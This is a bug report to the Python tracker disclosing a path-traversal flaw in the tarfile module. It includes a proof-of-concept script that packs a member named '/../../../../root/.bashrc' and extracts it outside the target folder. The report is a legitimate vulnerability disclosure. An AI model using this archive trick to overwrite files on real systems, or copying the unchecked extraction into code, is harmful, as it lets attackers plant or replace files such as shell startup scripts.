[issue45170] tarfile missing cross-directory checking
daji ma
report at bugs.python.org
Sat Sep 11 03:45:41 EDT 2021
New submission from daji ma <xiongpanju at gmail.com>:
tarfile missing cross-directory checking, like ../ or ..\, this potentially cause cross-directory decompression.
the exp:
# -*- coding: utf-8 -*-
import tarfile
def extract_tar(file_path, dest_path):
try:
with tarfile.open(file_path, 'r') as src_file:
for info in src_file.getmembers():
src_file.extract(info.name, dest_path)
return True
except (IOError, OSError, tarfile.TarError):
return False
def make_tar():
tar_file=tarfile.open('x.tar.gz','w:gz')
tar_file.add('bashrc', '/../../../../root/.bashrc')
tar_file.list(verbose=True)
tar_file.close()
if __name__ == '__main__':
make_tar()
extract_tar('x.tar.gz', 'xx')
----------
components: Library (Lib)
messages: 401631
nosy: xiongpanju
priority: normal
severity: normal
status: open
title: tarfile missing cross-directory checking
type: security
versions: Python 3.8
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Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue45170>
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